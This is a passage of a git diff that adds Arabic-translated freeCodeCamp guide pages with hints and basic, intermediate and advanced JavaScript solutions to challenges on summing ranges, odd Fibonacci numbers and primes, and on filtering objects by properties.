+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-numbers-in-a-range/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-numbers-in-a-range/index.md
new file mode 100644
index 0000000000..2011b901cd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-numbers-in-a-range/index.md
@@ -0,0 +1,132 @@
+---
+title: Sum All Numbers in a Range
+localeTitle: مجموع كل الأرقام في المدى
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+تحتاج إلى إنشاء برنامج من شأنه أن يأخذ مجموعة من رقمين ليسا بالضرورة في ترتيب ، ثم يضيف ليس فقط تلك الأرقام ولكن أي أرقام بينهما. على سبيل المثال ، ستكون \[3،1\] هي نفس `1+2+3` وليس `3+1` فقط
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+استخدم `Math.max()` للبحث عن الحد الأقصى لقيمة رقمين.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+استخدم `Math.min()` للبحث عن القيمة الدنيا من رقمين.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+تذكر أنه يجب إضافة جميع الأرقام بينهما حتى يتطلب ذلك طريقة للحصول على هذه الأرقام.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function sumAll(arr) { 
+    var max = Math.max(arr[0], arr[1]); 
+    var min = Math.min(arr[0], arr[1]); 
+    var temp = 0; 
+    for (var i=min; i <= max; i++){ 
+        temp += i; 
+    } 
+  return(temp); 
+ } 
+ 
+ sumAll([1, 4]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLm6/0)
+
+### شرح الشفرة:
+
+*   قم أولاً بإنشاء متغير لتخزين العدد الأقصى بين اثنين.
+*   نفس الشيء كما كان من قبل لأصغر رقم.
+*   نقوم بإنشاء متغير مؤقت لإضافة الأرقام.
+
+نظرًا لأن الأرقام قد لا تكون دائمًا في الترتيب ، فإن استخدام `max()` و `min()` سيساعد في التنظيم.
+
+#### روابط ذات صلة
+
+*   [Math.max ()](http://forum.freecodecamp.com/t/javascript-math-max/14682)
+*   [Math.min ()](http://forum.freecodecamp.com/t/javascript-math-min/14684)
+*   [للحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function sumAll(arr) { 
+  // Buckle up everything to one! 
+ 
+  // Using ES6 arrow function (one-liner) 
+  var sortedArr = arr.sort((a,b) => ab); 
+  var firstNum = arr[0]; 
+  var lastNum = arr[1]; 
+  // Using Arithmetic Progression summing formula 
+ 
+  var sum = (lastNum - firstNum + 1) * (firstNum + lastNum) / 2; 
+  return sum; 
+ } 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLm7/0)
+
+### شرح الشفرة:
+
+*   أولاً ، نقوم بإنشاء متغير يسمى `sortedArr` الذي يقوم `sortedArr` من الأقل إلى أعلى قيمة.
+*   `firstNum` يساوي الرقم الأول و `lastNum` يساوي الرقم الثاني.
+*   بعد ذلك ، باستخدام صيغة التلخيص الحسابي ، سنترك `sum` متساوياً `(lastNum - firstNum + 1) * (firstNum + lastNum) / 2` .
+*   وأخيرًا ، نرجع `sum` .
+
+السطر `var sortedArr = arr.sort((a,b) => ab);` هو على الارجح ما سيكون عليك المزيد من الارتباك. سيكون هذا هو نفس إنشاء دالة تقوم بإرجاع `ab` `sort()` وهي الطريقة القياسية لفرز الأرقام من الأصغر إلى الأكبر. وبدلاً من استخدام وظيفة السهم أو الدهون ، يمكننا القيام بكل ذلك في سطر واحد مما يسمح لنا بالكتابة أقل.
+
+#### روابط ذات صلة
+
+*   [Array.sort ()](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+*   [صيغة التلخيص الحسابي](https://en.wikipedia.org/wiki/Arithmetic_progression#Sum)
+*   [وظيفة السهم ES6](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function sumAll(arr) { 
+    var sum = 0; 
+    for (var i = Math.min(...arr); i <= Math.max(...arr); i++){ 
+        sum += i; 
+    } 
+  return sum; 
+ } 
+ 
+ sumAll([1, 4]); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLm8/0)
+
+### شرح الشفرة:
+
+*   إنشاء مبلغ متغير لتخزين مجموع العناصر.
+*   بدء التكرار للحلقة من عنصر min في صفيف معين والتوقف عند وصوله إلى عنصر max.
+*   يسمح استخدام عامل التوزيع (… arr) بتمرير الصفيف الفعلي إلى الوظيفة بدلاً من العناصر الفردية.
+
+#### روابط ذات صلة
+
+*   [انتشار المشغل](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+*   [باستخدام Spread Operator في Math.max ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-odd-fibonacci-numbers/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-odd-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..fb82fef02b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-odd-fibonacci-numbers/index.md
@@ -0,0 +1,124 @@
+---
+title: Sum All Odd Fibonacci Numbers
+localeTitle: Sum All Odd Fibonacci Numbers
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+ستحتاج إلى جمع جميع أرقام **فيبوناتشي** ثم التحقق من الأرقام الفردية. بمجرد الحصول على تلك الغريب ثم ستضيف لهم جميعا. يجب أن يكون الرقم الأخير هو الرقم المعطى كمعلمة إذا كان في الواقع رقم إيقاف فيبوناتشي.
+
+#### روابط ذات صلة
+
+*   [رقم فيبوناتشي](https://en.wikipedia.org/wiki/Fibonacci_number)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+للحصول على العدد التالي من السلسلة ، تحتاج إلى إضافة الرقم الحالي إلى السلسلة السابقة والذي سيعطيك الخيار التالي.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+لمعرفة ما إذا كان الرقم هو حتى كل ما عليك التحقق منه هو إذا كان `number % 2 == 0` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+عندما تحصل على الغريب القادم ، لا تنس أن تضيفه إلى متغير عالمي يمكن إرجاعه في النهاية. `result += currNumber;` سوف تفعل الخدعة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function sumFibs(num) { 
+    var prevNumber = 0; 
+    var currNumber = 1; 
+    var result = 0; 
+    while (currNumber <= num) { 
+        if (currNumber % 2 !== 0) { 
+            result += currNumber; 
+        } 
+ 
+        currNumber += prevNumber; 
+        prevNumber = currNumber - prevNumber; 
+    } 
+ 
+    return result; 
+ } 
+ 
+ // test here 
+ sumFibs(4); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnV/0)
+
+### شرح الشفرة:
+
+*   إنشاء متغير للاحتفاظ بسجل للأرقام الحالية والسابقة بالإضافة إلى النتيجة التي سيتم إرجاعها.
+*   استخدم حلقة while للتأكد من أننا لا نتجاوز الرقم المعطى كمعلمة.
+*   نستخدم المعامل modulo للتحقق مما إذا كان الرقم الحالي فرديًا أو حتى. إذا كان موجودًا ، فقم بإضافته إلى النتيجة.
+*   أكمل دائرة فيبوناتشي بالتناوب للحصول على الرقم التالي وقيم التبادل بعد.
+*   العودة النتيجة.
+
+#### روابط ذات صلة
+
+*   شبيبة أثناء حلقة
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function sumFibs(num) { 
+    // Perform checks for the validity of the input 
+    if (num < 0) return -1; 
+    if (num === 0 || num === 1) return 1; 
+ 
+    // Create an array of fib numbers till num 
+    const arrFib = [1, 1]; 
+    let nextFib = 0; 
+ 
+    // We put the new Fibonacci numbers to the front so we 
+    // don't need to calculate the length of the array on each 
+    // iteration 
+    while((nextFib = arrFib[0] + arrFib[1]) <= num) { 
+        arrFib.unshift(nextFib); 
+    } 
+ 
+    // Sum only the odd numbers and return the value 
+    return arrFib.reduce((acc, curr) => { 
+        return acc + curr * (curr % 2); 
+    }); 
+ } 
+ 
+ // test here 
+ sumFibs(4); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/@kr3at0/SumAllOddFibonacciNumbers)
+
+### شرح الشفرة:
+
+*   إنشاء مجموعة من أرقام فيبوناتشي حتى **الأسطوانات** .
+*   استخدم `reduce()` طريقة للعثور على مجموع أعضاء الصفيف الفردية.
+*   أعد المبلغ.
+
+#### روابط ذات صلة
+
+*   [JS Array Prototype Push](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [شبيبة لشرح الحلقات](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [JS Array Prototype Reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-primes/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-primes/index.md
new file mode 100644
index 0000000000..a406eb1f3f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sum-all-primes/index.md
@@ -0,0 +1,180 @@
+---
+title: Sum All Primes
+localeTitle: مجموع كل الأعداد
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+تفسير هذه المشكلة بسيط جدا. ستقوم بإنشاء قائمة بالأرقام الأولية إلى العدد الذي يتم إعطاؤك كمعلمة. ثم تحتاج إلى إضافتها كلها وإرجاع تلك القيمة. الجزء الصعب هو على توليد قائمة الأعداد الأولية. أقترح عليك العثور على رمز أو خوارزمية حسابية جيدة يمكنك تحويلها إلى تعليمات برمجية.
+
+#### روابط ذات صلة
+
+*   [الأعداد الأولية](https://en.wikipedia.org/wiki/Prime_number)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+إنشاء قائمة بجميع الأرقام بما في ذلك الرقم الذي حصلت عليه كمعلمة. سوف تكون هناك حاجة لتحديد أي الأرقام هي قمة أم لا.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+تحقق من هذا [الرابط](https://stackoverflow.com/questions/11966520/how-to-find-prime-numbers-between-0-100) إذا كنت تفضل البحث عن حل للعثور على أعداد أولية ، أو حاول تعلم وتنفيذ [Sieve of Eratosthenes](https://en.wikipedia.org/wiki/Sieve_of_Eratosthenes) الخاص بك
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+هذه المشكلة صعبة إذا كان عليك إنشاء التعليمات البرمجية الخاصة بك للتحقق من الأعداد الأولية ، لذلك لا تشعر بالسوء إذا كان عليك استخدام رمز شخص ما لتلك البتة. في كلتا الحالتين ، فأنت على الأرجح تستخدم مصفوفة ، لذلك بمجرد إنشاء صفيف من الأعداد الأولية ، فما عليك سوى إضافتها كلها وإرجاع الرقم الذي تحصل عليه.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function sumPrimes(num) { 
+  var res = 0; 
+ 
+  // Function to get the primes up to max in an array 
+  function getPrimes(max) { 
+    var sieve = []; 
+    var i; 
+    var j; 
+    var primes = []; 
+    for (i = 2; i <= max; ++i) { 
+      if (!sieve[i]) { 
+        // i has not been marked -- it is prime 
+        primes.push(i); 
+        for (j = i << 1; j <= max; j += i) { 
+          sieve[j] = true; 
+        } 
+      } 
+    } 
+ 
+    return primes; 
+  } 
+ 
+  // Add the primes 
+  var primes = getPrimes(num); 
+  for (var p = 0; p < primes.length; p++) { 
+    res += primes[p]; 
+  } 
+ 
+  return res; 
+ } 
+ 
+ // test here 
+ sumPrimes(10); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLnZ/0)
+
+### شرح الشفرة:
+
+*   قم بإنشاء دالة تقوم بإنشاء الأرقام من 1 إلى **num** وتحقق مما إذا كانت أولية على طول الطريق.
+*   قم بتعريف المتغيرات التي ستكون مطلوبة.
+*   ابدأ بـ 2 ، إذا لم يتم وضع علامة عليه وإضافته إلى مصفوفة الغربال ، فسيكون ذلك ممتازًا ونقوم بإضافته إلى الصفيف الأساسي.
+*   أضف الآخرين إلى صفيف الغربال.
+*   إرجاع الأعداد الأولية
+*   قم بالالتفاف من خلال المصفوفة التي تم إرجاعها وأضف جميع العناصر لإرجاع القيمة النهائية.
+
+#### روابط ذات صلة
+
+*   [شبيبة لشرح الحلقات](https://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":دوار الشمس:") حل الشفرة المتوسطة:
+
+ `function sumPrimes(num) { 
+  // function to check if the number presented is prime 
+  function isPrime(number){ 
+      for (i = 2; i <= number; i++){ 
+          if(number % i === 0 && number!= i){ 
+          // return true if it is divisible by any number that is not itself. 
+             return false; 
+          } 
+       } 
+       // if it passes the for loops conditions it is a prime 
+      return true; 
+  } 
+  // 1 is not a prime, so return nothing, also stops the recursive calls. 
+  if (num === 1){ 
+    return 0; 
+  } 
+  // Check if your number is not prime 
+  if(isPrime(num) === false){ 
+  // for non primes check the next number down from your maximum number, do not add anything to your answer 
+    return sumPrimes(num - 1); 
+  } 
+ 
+  // Check if your number is prime 
+  if(isPrime(num) === true){ 
+  // for primes add that number to the next number in the sequence through a recursive call to our sumPrimes function. 
+    return num + sumPrimes(num - 1); 
+  } 
+ } 
+ // test here 
+ sumPrimes(10); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLn0/0)
+
+### شرح الشفرة:
+
+*   الوظيفة هي `isPrime` checks إذا كان رقم معين أولي أو لا.
+*   إذا كانت قيمة `num` 1 ، فإن إرجاع 0 لأن 1 ليس رقمًا أوليًا.
+*   إذا لم يكن **num** رئيسًا ، فحدد الرقم التالي لأسفل من العدد الأقصى.
+*   إذا كان **num** رئيسًا ، `sumPrimes` إلى الرقم التالي في التسلسل من خلال التكرار إلى دالة `sumPrimes` .
+
+#### روابط ذات صلة
+
+*   [وظائف - Recursion](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Recursion)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") الحل المتقدم للكود:
+
+ `function sumPrimes(num) { 
+  // step 1 
+  let arr = Array.from({length: num+1}, (v, k) => k).slice(2); 
+  // step 2 
+  let onlyPrimes = arr.filter( (n) => { 
+    let m = n-1; 
+    while (m > 1 && m >= Math.sqrt(n)) { 
+      if ((n % m) === 0) 
+        return false; 
+        m--; 
+    } 
+      return true; 
+  }); 
+  // step 3 
+  return onlyPrimes.reduce((a,b) => a+b); 
+ } 
+ // test here 
+ sumPrimes(977); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/DoOo/3)
+
+### شرح الشفرة:
+
+*   **الخطوة 1:** استخدم `Array.from()` لإنشاء تسلسل أرقام تصل إلى `num` . ادمج مع `.slice()` لشطب أول مؤشرين `[0, 1]` نظرًا لأن جميع الأعداد الأولية يجب أن تكون أكبر من 1.
+*   **الخطوة 2:** تصفية جميع الأرقام خارج `arr` والتي ليست رئيسة بإخضاع كل عنصر إلى _"اختبار التقسيم التجريبي"_ الذي _"يتكون من قسمة n على كل عدد صحيح m أكبر من 1 وأقل من أو يساوي الجذر التربيعي لـ n "_ . يقوم هذا الاختبار بعرض `false` إذا كان أي رقم أقل من العنصر الذي يتم تشغيله على (m) لا ينتج عنه الباقي عندما يتم تقسيم العنصر (n) عليه. انظر الرابط أدناه للمزيد عن هذا.
+*   **الخطوة 3: قم** `.reduce()` مجموع كافة العناصر المتبقية من arr باستخدام `.reduce()` .
+
+### روابط ذات صلة
+
+*   [اختبار شعبة التجريبية](https://en.wikipedia.org/wiki/Prime_number#Trial_division)
+*   [Array.from ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from#Examples)
+*   [Array.filter ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](https://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/wherefore-art-thou/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/wherefore-art-thou/index.md
new file mode 100644
index 0000000000..afa32716df
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/wherefore-art-thou/index.md
@@ -0,0 +1,158 @@
+---
+title: Wherefore Art Thou
+localeTitle: ولهذا السبب انت الفن
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+اكتب خوارزمية تأخذ `array` للوسيطة الأولى وترجع `array` تحتوي على كل `object` الذي يطابق كل الخصائص والقيم في `Object` تم تمريره كمعلمة ثانية.
+
+#### روابط ذات صلة
+
+*   [للحلقات](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for)
+*   [Array.prototype.filter ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+*   [Object.hasOwnProperty ()](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) [Object.keys ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+يمكنك استخدام `for` حلقة أو `Array.prototype.filter` الأسلوب.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+حاول استخدام الأسلوب `Object.prototype.hasOwnProperty` لمعرفة ما إذا كان اسم خاصية موجود في كائن (كخاصيته الخاصة).
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+تحقق من تكافؤ `Object` في `collection` مع تمرير `Object` كمعلمة ثانية إلى الدالة `whatIsInAName` .
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `function whatIsInAName(collection, source) { 
+  // "What's in a name? that which we call a rose 
+  // By any other name would smell as sweet.” 
+  // -- by William Shakespeare, Romeo and Juliet 
+  var srcKeys = Object.keys(source); 
+ 
+  // filter the collection 
+  return collection.filter(function (obj) { 
+    for(var i = 0; i < srcKeys.length; i++) { 
+      if(!obj.hasOwnProperty(srcKeys[i]) || obj[srcKeys[i]] !== source[srcKeys[i]]) { 
+        return false; 
+      } 
+    } 
+    return true; 
+  }); 
+ } 
+ 
+ // test here 
+ whatIsInAName([{ first: "Romeo", last: "Montague" }, { first: "Mercutio", last: null }, { first: "Tybalt", last: "Capulet" }], { last: "Capulet" }); 
+` 
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":صاروخ:") [تشغيل الكود](https://repl.it/CLmh/0)
+
+### شرح الشفرة:
+
+*   نحن تصفية من خلال الصفيف باستخدام. `.filter()` .
+*   باستخدام `for loop` سنقوم بتكرارها خلال كل عنصر في الكائن.
+*   نستخدم `if statement` للتحقق مما إذا كان الكائن في المجموعة لا يحتوي على المفتاح وقيمة الخاصية لا تتطابق مع القيمة في المصدر.
+*   نعود `false` إذا `if statement` المذكور أعلاه صحيحًا. خلاف ذلك ، نعود `true` ؛
+
+#### روابط ذات صلة
